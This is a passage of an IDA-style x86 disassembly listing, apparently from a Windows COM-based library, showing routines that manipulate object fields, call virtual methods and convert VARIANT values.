		mov	esi, ecx
		lea	ecx, [esi-10h]
		call	sub_69B6E468
		mov	edi, eax
		test	edi, edi
		jz	short loc_69B6E56C
		mov	ecx, [esi+1Ch]
		mov	eax, edi
		sub	eax, ecx
		sub	eax, 0Ch
		cdq
		push	1Ch
		pop	ecx
		idiv	ecx
		mov	ecx, edi
		push	eax
		lea	eax, [esi-10h]
		neg	eax
		sbb	eax, eax
		and	eax, esi
		push	eax
		call	sub_69B714DB
		mov	ecx, [esp+14h]
		push	dword ptr [esp+10h]
		mov	[ecx], eax
		mov	ecx, edi
		call	sub_69B715F1


loc_69B6E56C:				; CODE XREF: .text:69B6E537j
		pop	edi
		pop	esi
		retn	0Ch

; =============== S U B	R O U T	I N E =======================================



sub_69B6E571	proc near		; CODE XREF: sub_69B702BB+28p
					; sub_69B7333D+47p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_4]
		mov	esi, ecx
		push	[esp+8+arg_0]
		call	sub_69B6E468
		mov	ecx, eax
		test	ecx, ecx
		jz	short loc_69B6E5A3
		mov	edx, [esi+2Ch]
		push	edi
		mov	eax, ecx
		sub	eax, edx
		sub	eax, 0Ch
		push	1Ch
		pop	edi
		cdq
		idiv	edi
		add	esi, 10h
		push	eax
		push	esi
		call	sub_69B714DB
		pop	edi


loc_69B6E5A3:				; CODE XREF: sub_69B6E571+14j
		pop	esi
		retn	8
sub_69B6E571	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6E5A7	proc near		; CODE XREF: sub_69B7331A+7p
		push	esi
		push	0
		push	0FFFFFFFFh
		mov	esi, ecx
		call	sub_69B6E468
		mov	ecx, [esi+2Ch]
		add	ecx, 0Ch
		cmp	eax, ecx
		jnz	short loc_69B6E5D1
		cmp	dword ptr [esi+40h], 0
		jz	short loc_69B6E5CB
		mov	ecx, [esi+40h]
		mov	eax, [ecx]
		pop	esi
		jmp	dword ptr [eax]
; ---------------------------------------------------------------------------


loc_69B6E5CB:				; CODE XREF: sub_69B6E5A7+1Aj
		xor	eax, eax
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_69B6E5D1:				; CODE XREF: sub_69B6E5A7+14j
		pop	esi
		mov	ecx, eax
		jmp	sub_69B71654
sub_69B6E5A7	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6E5D9	proc near		; CODE XREF: sub_69B6F0B5+Ap
		push	ebx
		push	esi
		mov	ebx, ecx
		mov	esi, [ebx+28h]
		push	edi
		mov	edi, [esi+0Ch]
		test	edi, edi
		jz	short loc_69B6E612
		test	byte ptr [ebx+58h], 1
		jnz	short loc_69B6E5F9
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+40h]
		or	dword ptr [ebx+58h], 1


loc_69B6E5F9:				; CODE XREF: sub_69B6E5D9+13j
		and	dword ptr [esi+18h], 0
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+3Ch]
		mov	edi, eax
		mov	ecx, esi
		mov	[esi+18h], edi
		call	sub_69B71456
		jmp	short loc_69B6E614
; ---------------------------------------------------------------------------


loc_69B6E612:				; CODE XREF: sub_69B6E5D9+Dj
		xor	edi, edi


loc_69B6E614:				; CODE XREF: sub_69B6E5D9+37j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_69B6E5D9	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6E61A	proc near		; CODE XREF: sub_69B46CA6+5Ep
					; sub_69B6FBE1+58p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	[esp+8+arg_4]
		mov	eax, ecx
		mov	esi, [eax+60h]
		mov	ecx, [eax+0B4h]
		push	[esp+0Ch+arg_0]
		mov	edi, [esi]
		add	eax, 14h
		push	eax
		mov	eax, [ecx]
		call	dword ptr [eax+0B4h]
		push	eax
		mov	ecx, esi
		call	dword ptr [edi+48h]
		pop	edi
		pop	esi
		retn	8
sub_69B6E61A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B6E648	proc near		; CODE XREF: sub_69B6F979+E8p
					; sub_69B75380+87p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, ecx
		mov	eax, [esi+54h]
		test	eax, eax
		jle	short loc_69B6E65B
		inc	eax
		mov	[esi+54h], eax
		jmp	short loc_69B6E6BF
; ---------------------------------------------------------------------------


loc_69B6E65B:				; CODE XREF: sub_69B6E648+Bj
		push	edi
		push	[ebp+arg_0]
		lea	edi, [esi+4Ch]
		mov	ecx, edi
		call	sub_69B6E209
		cmp	eax, 9
		jnz	short loc_69B6E677
		mov	dword ptr [esi+54h], 1
		jmp	short loc_69B6E6BE
; ---------------------------------------------------------------------------


loc_69B6E677:				; CODE XREF: sub_69B6E648+24j
		movzx	eax, [ebp+arg_8]
		shl	eax, 6
		xor	eax, [esi+58h]
		and	eax, 40h
		xor	[esi+58h], eax
		cmp	dword ptr [edi], 1
		jnz	short loc_69B6E69A
		cmp	dword ptr [edi+4], 2
		jz	short loc_69B6E69A
		mov	ecx, [esi+34h]
		mov	eax, [ecx]
		call	dword ptr [eax+40h]


loc_69B6E69A:				; CODE XREF: sub_69B6E648+42j
					; sub_69B6E648+48j
		push	[ebp+arg_4]
		mov	ecx, [esi+34h]
		push	[ebp+arg_0]
		mov	eax, [ecx]
		call	dword ptr [eax+38h]
		cmp	[ebp+arg_0], 0
		jnz	short loc_69B6E6BE
		movzx	eax, [ebp+arg_C]
		shl	eax, 3
		xor	eax, [esi+58h]
		and	eax, 8
		xor	[esi+58h], eax


loc_69B6E6BE:				; CODE XREF: sub_69B6E648+2Dj
					; sub_69B6E648+64j
		pop	edi


loc_69B6E6BF:				; CODE XREF: sub_69B6E648+11j
		pop	esi
		pop	ebp
		retn	10h
sub_69B6E648	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B6E6C4	proc near		; CODE XREF: sub_69B6F28B+1Fp
					; sub_69B75380+41p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	eax, [esi+54h]
		test	eax, eax
		mov	byte ptr [ebp+var_4], 0
		jle	short loc_69B6E6DC
		dec	eax
		mov	[esi+54h], eax
		jmp	short loc_69B6E734
; ---------------------------------------------------------------------------


loc_69B6E6DC:				; CODE XREF: sub_69B6E6C4+10j
		push	edi
		push	[ebp+arg_0]
		lea	edi, [esi+4Ch]
		mov	ecx, edi
		call	sub_69B6E22D
		movzx	eax, [ebp+arg_8]
		shl	eax, 7
		xor	eax, [esi+58h]
		and	eax, 80h
		xor	[esi+58h], eax
		cmp	[ebp+arg_0], 0
		mov	eax, [esi+58h]
		jnz	short loc_69B6E722
		cmp	dword ptr [edi], 1
		setnz	byte ptr [ebp+var_4]
		cmp	byte ptr [ebp+var_4], 0
		jnz	short loc_69B6E722
		test	al, 8
		jz	short loc_69B6E722
		mov	ecx, [esi+34h]
		mov	eax, [ecx]
		mov	byte ptr [ebp+var_4], 1
		call	dword ptr [eax+40h]


loc_69B6E722:				; CODE XREF: sub_69B6E6C4+3Fj
					; sub_69B6E6C4+4Cj ...
		push	[ebp+var_4]
		mov	ecx, [esi+34h]
		push	[ebp+arg_4]
		mov	eax, [ecx]
		push	[ebp+arg_0]
		call	dword ptr [eax+3Ch]
		pop	edi


loc_69B6E734:				; CODE XREF: sub_69B6E6C4+16j
		pop	esi
		leave
		retn	0Ch
sub_69B6E6C4	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6E739	proc near		; CODE XREF: sub_69B75667+55p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch
arg_C		= byte ptr  10h

		push	esi
		mov	esi, ecx
		cmp	dword ptr [esi+54h], 0
		jg	short loc_69B6E799
		movzx	eax, [esp+4+arg_8]
		shl	eax, 7
		xor	eax, [esi+58h]
		and	eax, 80h
		xor	[esi+58h], eax
		mov	eax, [esi+50h]
		cmp	eax, 1
		mov	[esi+4Ch], eax
		jnz	short loc_69B6E764
		and	dword ptr [esi+50h], 0


loc_69B6E764:				; CODE XREF: sub_69B6E739+25j
		cmp	dword ptr [esi+4Ch], 1
		jnz	short loc_69B6E778
		cmp	dword ptr [esi+50h], 2
		jz	short loc_69B6E778
		mov	ecx, [esi+34h]
		mov	eax, [ecx]
		call	dword ptr [eax+40h]


loc_69B6E778:				; CODE XREF: sub_69B6E739+2Fj
					; sub_69B6E739+35j
		movzx	eax, [esp+4+arg_C]
		push	[esp+4+arg_4]
		mov	ecx, [esi+34h]
		push	[esp+8+arg_0]
		shl	eax, 2
		xor	eax, [esi+58h]
		and	eax, 4
		xor	[esi+58h], eax
		mov	eax, [ecx]
		call	dword ptr [eax+48h]


loc_69B6E799:				; CODE XREF: sub_69B6E739+7j
		pop	esi
		retn	10h
sub_69B6E739	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6E79D	proc near		; CODE XREF: sub_69B6E85D:loc_69B6E8B2p
					; sub_69B6F979+119p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= byte ptr  0Ch

		push	esi
		mov	esi, ecx
		cmp	dword ptr [esi+54h], 0
		jg	short loc_69B6E7F9
		movzx	eax, [esp+4+arg_4]
		shl	eax, 7
		xor	eax, [esi+58h]
		and	eax, 80h
		xor	[esi+58h], eax
		mov	eax, [esi+50h]
		cmp	eax, 1
		mov	[esi+4Ch], eax
		jnz	short loc_69B6E7C8
		and	dword ptr [esi+50h], 0


loc_69B6E7C8:				; CODE XREF: sub_69B6E79D+25j
		cmp	dword ptr [esi+4Ch], 1
		jnz	short loc_69B6E7DC
		cmp	dword ptr [esi+50h], 2
		jz	short loc_69B6E7DC
		mov	ecx, [esi+34h]
		mov	eax, [ecx]
		call	dword ptr [eax+40h]


loc_69B6E7DC:				; CODE XREF: sub_69B6E79D+2Fj
					; sub_69B6E79D+35j
		movzx	eax, [esp+4+arg_8]
		mov	ecx, [esi+34h]
		push	[esp+4+arg_0]
		shl	eax, 2
		xor	eax, [esi+58h]
		and	eax, 4
		xor	[esi+58h], eax
		mov	eax, [ecx]
		call	dword ptr [eax+44h]


loc_69B6E7F9:				; CODE XREF: sub_69B6E79D+7j
		pop	esi
		retn	0Ch
sub_69B6E79D	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6E7FD	proc near		; CODE XREF: sub_69B6E85D+24p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= byte ptr  0Ch

		push	esi
		mov	esi, ecx
		cmp	dword ptr [esi+54h], 0
		jg	short loc_69B6E859
		movzx	eax, [esp+4+arg_4]
		shl	eax, 7
		xor	eax, [esi+58h]
		and	eax, 80h
		xor	[esi+58h], eax
		mov	eax, [esi+50h]
		cmp	eax, 1
		mov	[esi+4Ch], eax
		jnz	short loc_69B6E828
		and	dword ptr [esi+50h], 0


loc_69B6E828:				; CODE XREF: sub_69B6E7FD+25j
		cmp	dword ptr [esi+4Ch], 1
		jnz	short loc_69B6E83C
		cmp	dword ptr [esi+50h], 2
		jz	short loc_69B6E83C
		mov	ecx, [esi+34h]
		mov	eax, [ecx]
		call	dword ptr [eax+40h]


loc_69B6E83C:				; CODE XREF: sub_69B6E7FD+2Fj
					; sub_69B6E7FD+35j
		movzx	eax, [esp+4+arg_8]
		mov	ecx, [esi+34h]
		push	[esp+4+arg_0]
		shl	eax, 2
		xor	eax, [esi+58h]
		and	eax, 4
		xor	[esi+58h], eax
		mov	eax, [ecx]
		call	dword ptr [eax+4Ch]


loc_69B6E859:				; CODE XREF: sub_69B6E7FD+7j
		pop	esi
		retn	0Ch
sub_69B6E7FD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B6E85D	proc near		; CODE XREF: sub_69B70163+35p
					; sub_69B7583F+55p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		cmp	dword ptr [esi], 6
		push	edi
		mov	edi, ecx
		jnz	short loc_69B6E88F
		mov	ecx, [esi+8]
		mov	eax, [ecx]
		call	dword ptr [eax+3Ch]
		test	eax, eax
		push	[ebp+arg_8]
		mov	ecx, edi
		push	[ebp+arg_4]
		jz	short loc_69B6E888
		push	eax
		call	sub_69B6E7FD
		jmp	short loc_69B6E8B7
; ---------------------------------------------------------------------------


loc_69B6E888:				; CODE XREF: sub_69B6E85D+21j
		push	offset off_69B1A5AC
		jmp	short loc_69B6E8B2
; ---------------------------------------------------------------------------


loc_69B6E88F:				; CODE XREF: sub_69B6E85D+Dj
		xor	eax, eax
		cmp	dword ptr [edi+0A8h], 2
		mov	ecx, esi
		setz	al
		inc	eax
		push	eax
		push	esi
		push	5
		call	sub_69B64008
		push	[ebp+arg_8]
		mov	ecx, edi
		push	[ebp+arg_4]
		push	dword ptr [esi+8]


loc_69B6E8B2:				; CODE XREF: sub_69B6E85D+30j
		call	sub_69B6E79D


loc_69B6E8B7:				; CODE XREF: sub_69B6E85D+29j
		pop	edi
		pop	esi
		pop	ebp
		retn	0Ch
sub_69B6E85D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B6E8BD	proc near		; CODE XREF: sub_69B727D0+4Ap

var_14		= byte ptr -14h
lpString	= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		lea	ecx, [ebp+var_14]
		call	sub_69B3A66D
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx]
		call	dword ptr [eax+0E4h]
		test	eax, eax
		jz	short loc_69B6E8DF
		mov	ecx, [eax+0Ch]
		jmp	short loc_69B6E8E1
; ---------------------------------------------------------------------------


loc_69B6E8DF:				; CODE XREF: sub_69B6E8BD+1Bj
		xor	ecx, ecx


loc_69B6E8E1:				; CODE XREF: sub_69B6E8BD+20j
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [esi+0Ch]
		push	ecx		; int
		push	eax		; lpString
		lea	ecx, [ebp+var_14]
		call	sub_69B3A709
		test	eax, eax
		jnz	short loc_69B6E902
		push	[ebp+lpString]	; lpString
		call	sub_69B1A587
		mov	esi, eax
		jmp	short loc_69B6E917
; ---------------------------------------------------------------------------


loc_69B6E902:				; CODE XREF: sub_69B6E8BD+37j
		push	0
		push	dword_69B9B588
		push	esi
		push	0C00CE310h
		call	sub_69B6E277
		xor	esi, esi


loc_69B6E917:				; CODE XREF: sub_69B6E8BD+43j
		lea	ecx, [ebp+var_14]
		call	sub_69B3A8F3
		mov	eax, esi
		pop	esi
		leave
		retn	8
sub_69B6E8BD	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6E926	proc near		; CODE XREF: sub_69B727D0+9Fp

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		mov	ecx, [ecx+5Ch]
		call	sub_69B1980A
		test	eax, eax
		jz	short locret_69B6E94C
		mov	edx, [eax]
		mov	ecx, eax
		call	dword ptr [edx+0B4h]
		add	eax, 0ACh
		push	eax		; lpAddend
		call	ds:InterlockedDecrement	; InterlockedDecrement

locret_69B6E94C:			; CODE XREF: sub_69B6E926+Ej
		retn	4
sub_69B6E926	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6E94F	proc near		; CODE XREF: sub_69B6FABE+F5p
					; sub_69B7238E+26p

arg_0		= dword	ptr  4

		mov	ecx, [ecx+0A0h]
		test	ecx, ecx
		jnz	short loc_69B6E95D
		xor	eax, eax
		jmp	short locret_69B6E966
; ---------------------------------------------------------------------------


loc_69B6E95D:				; CODE XREF: sub_69B6E94F+8j
		push	[esp+arg_0]
		call	sub_69B1980A

locret_69B6E966:			; CODE XREF: sub_69B6E94F+Cj
		retn	8
sub_69B6E94F	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6E969	proc near		; CODE XREF: sub_69B6EDDE+E0p
		push	edi
		mov	edi, ecx
		mov	eax, [edi+0A0h]
		test	eax, eax
		jz	short loc_69B6E997
		push	esi
		push	1
		push	eax
		call	sub_69B3156E
		mov	esi, eax
		jmp	short loc_69B6E98B
; ---------------------------------------------------------------------------


loc_69B6E983:				; CODE XREF: sub_69B6E969+2Bj
		push	edi
		mov	ecx, eax
		call	sub_69B71B16


loc_69B6E98B:				; CODE XREF: sub_69B6E969+18j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+40h]
		test	eax, eax
		jnz	short loc_69B6E983
		pop	esi


loc_69B6E997:				; CODE XREF: sub_69B6E969+Bj
		pop	edi
		retn
sub_69B6E969	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B6E999	proc near		; CODE XREF: sub_69B6EF3C+37p

pvargDest	= VARIANTARG ptr -28h
pvarg		= VARIANTARG ptr -18h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	ebx
		push	esi
		mov	esi, ecx
		mov	eax, [esi+20h]
		mov	ecx, [eax+8]
		mov	eax, [ecx]
		or	ebx, 0FFFFFFFFh
		call	dword ptr [eax+40h]
		test	al, al
		jnz	loc_69B6EA81
		mov	eax, [esi+28h]
		mov	eax, [eax+18h]
		mov	ecx, [eax]
		push	edi
		lea	edx, [ebp+var_8]
		push	edx
		mov	edi, offset dword_69B25E54
		push	edi
		push	eax
		call	dword ptr [ecx]
		push	eax
		call	sub_69B8861E
		mov	eax, [esi+20h]
		mov	eax, [eax+8]
		mov	eax, [eax+0Ch]
		mov	ecx, [eax]
		lea	edx, [ebp+var_4]
		push	edx
		push	edi
		push	eax
		call	dword ptr [ecx]
		push	eax
		call	sub_69B8861E
		cmp	[ebp+var_4], 0
		jz	short loc_69B6EA73
		cmp	[ebp+var_8], 0
		jz	short loc_69B6EA66
		mov	edi, VariantInit
		lea	eax, [ebp+pvarg]
		push	eax		; pvarg
		call	edi ; VariantInit
		push	0
		push	[ebp+var_8]
		lea	eax, [ebp+pvarg]
		push	9
		push	[ebp+var_4]
		push	9		; pvargSrc
		push	0		; int
		push	dword ptr [esi+48h] ; int
		push	eax		; int
		call	sub_69B507CB
		add	esp, 20h
		cmp	word ptr [ebp+pvarg.anonymous_0], 0
		jz	short loc_69B6EA66
		cmp	word ptr [ebp+pvarg.anonymous_0], 0Bh
		jnz	short loc_69B6EA36
		mov	ebx, dword ptr [ebp+pvarg.anonymous_0+8]
		jmp	short loc_69B6EA66
; ---------------------------------------------------------------------------


loc_69B6EA36:				; CODE XREF: sub_69B6E999+96j
		lea	eax, [ebp+pvargDest]
		push	eax		; pvarg
		call	edi ; VariantInit
		push	0Bh		; vt
		push	1		; wFlags
		call	ds:GetThreadLocale	; GetThreadLocale
		push	eax		; lcid
		lea	eax, [ebp+pvarg]
		push	eax		; pvarSrc
		lea	eax, [ebp+pvargDest]
		push	eax		; pvargDest
		call	VariantChangeTypeEx
		test	eax, eax
		jl	short loc_69B6EA5C
		mov	ebx, dword ptr [ebp+pvargDest.anonymous_0+8]


loc_69B6EA5C:				; CODE XREF: sub_69B6E999+BEj
		lea	eax, [ebp+pvarg]
		push	eax		; pvarg
		call	VariantClear


loc_69B6EA66:				; CODE XREF: sub_69B6E999+5Fj
					; sub_69B6E999+8Fj ...
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	short loc_69B6EA73
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B6EA73:				; CODE XREF: sub_69B6E999+59j
					; sub_69B6E999+D2j
		mov	eax, [ebp+var_8]
		test	eax, eax
		pop	edi
		jz	short loc_69B6EA81
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B6EA81:				; CODE XREF: sub_69B6E999+1Aj
					; sub_69B6E999+E0j
		xor	eax, eax
		cmp	bx, 0FFFFh
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_69B6E999	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6EA8E	proc near		; CODE XREF: sub_69B6F425+Cp
					; sub_69B701AA+17p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	esi, ecx
		mov	ecx, [esp+8+arg_0]
		xor	edi, edi
		cmp	ecx, edi
		jz	short loc_69B6EAC3
		push	[esp+8+arg_4]
		mov	eax, [ecx]
		call	dword ptr [eax+0A8h]
		cmp	eax, edi
		jz	short loc_69B6EADA
		mov	edx, [esi+68h]
		mov	ecx, [esi+64h]
		add	esi, 70h
		push	esi
		push	[esp+0Ch+arg_8]
		push	edx
		push	eax
		call	sub_69B60C44
		jmp	short loc_69B6EAD8
; ---------------------------------------------------------------------------


loc_69B6EAC3:				; CODE XREF: sub_69B6EA8E+Cj
		mov	ecx, [esi+64h]
		mov	eax, [esi+68h]
		mov	edx, [ecx]
		add	esi, 70h
		push	esi
		push	[esp+0Ch+arg_8]
		push	eax
		push	edi
		call	dword ptr [edx+38h]


loc_69B6EAD8:				; CODE XREF: sub_69B6EA8E+33j
		mov	edi, eax


loc_69B6EADA:				; CODE XREF: sub_69B6EA8E+1Cj
		mov	eax, edi
		pop	edi
		pop	esi
		retn	0Ch
sub_69B6EA8E	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6EAE1	proc near		; CODE XREF: sub_69B7326E+44p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		cmp	dword ptr [esi+0A8h], 2
		jnz	short loc_69B6EB14
		mov	ecx, [esp+4+arg_4]
		push	dword_69B9B4F0
		mov	eax, [ecx]
		call	dword ptr [eax+0A8h]
		test	eax, eax
		jz	short loc_69B6EB14
		mov	ecx, [esi+64h]
		push	eax
		push	[esp+8+arg_0]
		call	sub_69B63AF9
		mov	[esp+4+arg_0], eax


loc_69B6EB14:				; CODE XREF: sub_69B6EAE1+Aj
					; sub_69B6EAE1+20j
		mov	eax, [esp+4+arg_0]
		pop	esi
		retn	8
sub_69B6EAE1	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6EB1C	proc near		; CODE XREF: sub_69B7298C+B2p
					; sub_69B73101+B5p ...

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	edx, [eax+68h]
		mov	ecx, [eax+64h]
		add	eax, 70h
		push	eax
		push	edx
		push	[esp+8+arg_0]
		call	sub_69B6E3B0
		retn	4
sub_69B6EB1C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6EB35	proc near		; CODE XREF: sub_69B725C0+2Ap
					; sub_69B7267F+49p ...

arg_0		= dword	ptr  4

		cmp	dword ptr [ecx+0A8h], 2
		mov	eax, [esp+arg_0]
		jnz	short loc_69B6EB56
		cmp	eax, dword_69B9B638
		jz	short loc_69B6EB52
		cmp	eax, dword_69B9B630
		jnz	short loc_69B6EB63


loc_69B6EB52:				; CODE XREF: sub_69B6EB35+13j
		push	2
		jmp	short loc_69B6EB60
; ---------------------------------------------------------------------------


loc_69B6EB56:				; CODE XREF: sub_69B6EB35+Bj
		cmp	eax, dword_69B9B628
		jnz	short loc_69B6EB63
		push	3


loc_69B6EB60:				; CODE XREF: sub_69B6EB35+1Fj
		pop	eax
		jmp	short locret_69B6EB65
; ---------------------------------------------------------------------------


loc_69B6EB63:				; CODE XREF: sub_69B6EB35+1Bj
					; sub_69B6EB35+27j
		xor	eax, eax

locret_69B6EB65:			; CODE XREF: sub_69B6EB35+2Cj
		retn	4
sub_69B6EB35	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6EB68	proc near		; CODE XREF: sub_69B7267F+C0p
					; sub_69B72A73+122p ...

arg_0		= dword	ptr  4

		cmp	dword ptr [ecx+0A8h], 2
		jz	short locret_69B6EB8D
		mov	ecx, [esp+arg_0]
		mov	eax, [ecx]
		push	0
		push	dword_69B9B628
		call	dword ptr [eax+3Ch]
		push	eax
		push	0C00CE30Ch
		call	sub_69B6E277

locret_69B6EB8D:			; CODE XREF: sub_69B6EB68+7j
		retn	4
sub_69B6EB68	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6EB90	proc near		; CODE XREF: sub_69B70336+2Dp
					; sub_69B7267F+A6p ...

arg_0		= dword	ptr  4

		cmp	dword ptr [ecx+0A8h], 2
		jnz	short locret_69B6EBB5
		mov	ecx, [esp+arg_0]
		mov	eax, [ecx]
		push	0
		push	dword_69B9B638
		call	dword ptr [eax+3Ch]
		push	eax
		push	0C00CE30Ch
		call	sub_69B6E277

locret_69B6EBB5:			; CODE XREF: sub_69B6EB90+7j
		retn	4
sub_69B6EB90	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6EBB8	proc near		; DATA XREF: .text:69B140ACo
		push	esi
		mov	esi, ecx
		mov	eax, [esi+8]
		test	eax, eax
		push	edi
		lea	edi, [esi+0Ch]
		jz	short loc_69B6EBD7
		push	ebx
		mov	ebx, eax


loc_69B6EBC9:				; CODE XREF: sub_69B6EBB8+1Cj
		mov	ecx, edi
		call	sub_69B713A4
		add	edi, 1Ch
		dec	ebx
		jnz	short loc_69B6EBC9
		pop	ebx


loc_69B6EBD7:				; CODE XREF: sub_69B6EBB8+Cj
		pop	edi
		mov	ecx, esi
		pop	esi
		jmp	nullsub_5
sub_69B6EBB8	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6EBE0	proc near		; CODE XREF: sub_69B6EF3C+9Dp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	[esp+8+arg_0]
		mov	edi, ecx
		push	10h
		call	sub_69B6E397
		mov	esi, eax
		test	esi, esi
		pop	ecx
		pop	ecx
		jz	short loc_69B6EC06
		mov	ecx, esi
		call	sub_69B19118
		mov	dword ptr [esi], offset	off_69B14078
		jmp	short loc_69B6EC08
; ---------------------------------------------------------------------------


loc_69B6EC06:				; CODE XREF: sub_69B6EBE0+15j
		xor	esi, esi


loc_69B6EC08:				; CODE XREF: sub_69B6EBE0+24j
		push	0
		push	edi
		push	dword ptr [edi+8]
		mov	ecx, esi
		push	0
		call	sub_69B2E6E3
		pop	edi
		mov	eax, esi
		pop	esi
		retn	4
sub_69B6EBE0	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6EC1E	proc near		; DATA XREF: .text:69B140ECo
		push	esi
		mov	esi, ecx
		mov	eax, [esi+8]
		test	eax, eax
		push	edi
		lea	edi, [esi+0Ch]
		jz	short loc_69B6EC3D
		push	ebx
		mov	ebx, eax


loc_69B6EC2F:				; CODE XREF: sub_69B6EC1E+1Cj
		mov	ecx, edi
		call	sub_69B71592
		add	edi, 1Ch
		dec	ebx
		jnz	short loc_69B6EC2F
		pop	ebx


loc_69B6EC3D:				; CODE XREF: sub_69B6EC1E+Cj
		pop	edi
		mov	ecx, esi
		pop	esi
		jmp	nullsub_5
sub_69B6EC1E	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6EC46	proc near		; CODE XREF: sub_69B6F8EA+35p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	[esp+8+arg_0]
		mov	edi, ecx
		push	10h
		call	sub_69B6E397
		mov	esi, eax
		test	esi, esi
		pop	ecx
		pop	ecx
		jz	short loc_69B6EC6C
		mov	ecx, esi
		call	sub_69B19118
		mov	dword ptr [esi], offset	off_69B140B8
		jmp	short loc_69B6EC6E
; ---------------------------------------------------------------------------


loc_69B6EC6C:				; CODE XREF: sub_69B6EC46+15j
		xor	esi, esi


loc_69B6EC6E:				; CODE XREF: sub_69B6EC46+24j
		push	0
		push	edi
		push	dword ptr [edi+8]
		mov	ecx, esi
		push	0
		call	sub_69B2E6E3
		pop	edi
		mov	eax, esi
		pop	esi
		retn	4
sub_69B6EC46	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6EC84	proc near		; CODE XREF: sub_69B6F68E+43p
		push	esi
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_69B2A4C8
		call	sub_69B7055C
		lea	eax, [esi+18h]
		push	eax
		call	sub_69B17230
		add	esi, 10h
		push	esi
		call	sub_69B17230
		pop	esi
		retn
sub_69B6EC84	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6ECA6	proc near		; CODE XREF: sub_69B6FBE1+7Ep

arg_0		= dword	ptr  4

		cmp	dword ptr [ecx+0A8h], 2
		jnz	short locret_69B6ECBC
		push	[esp+arg_0]
		add	ecx, 48h
		push	ecx
		call	sub_69B17320

locret_69B6ECBC:			; CODE XREF: sub_69B6ECA6+7j
		retn	4
sub_69B6ECA6	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6ECBF	proc near		; CODE XREF: sub_69B6F1D3+37p

arg_0		= word ptr  4
arg_4		= dword	ptr  8

		mov	edx, [ecx+18h]
		movzx	eax, [esp+arg_0]
		push	[esp+arg_4]
		shl	eax, 0Ah
		and	edx, 0FC0003FFh
		or	eax, edx
		mov	[ecx+18h], eax
		add	ecx, 14h
		push	ecx
		call	sub_69B17320
		retn	8
sub_69B6ECBF	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6ECE5	proc near		; CODE XREF: sub_69B6EF3C+4Fp
		dec	word ptr [ecx+30h]
		mov	ax, [ecx+30h]
		jnz	short loc_69B6ECF2
		xor	al, al
		retn
; ---------------------------------------------------------------------------


loc_69B6ECF2:				; CODE XREF: sub_69B6ECE5+8j
		mov	edx, [ecx+24h]
		movsx	eax, ax
		imul	eax, 1Ch
		lea	eax, [eax+edx-10h]
		mov	[ecx+20h], eax
		mov	al, 1
		retn
sub_69B6ECE5	endp


; =============== S U B	R O U T	I N E =======================================

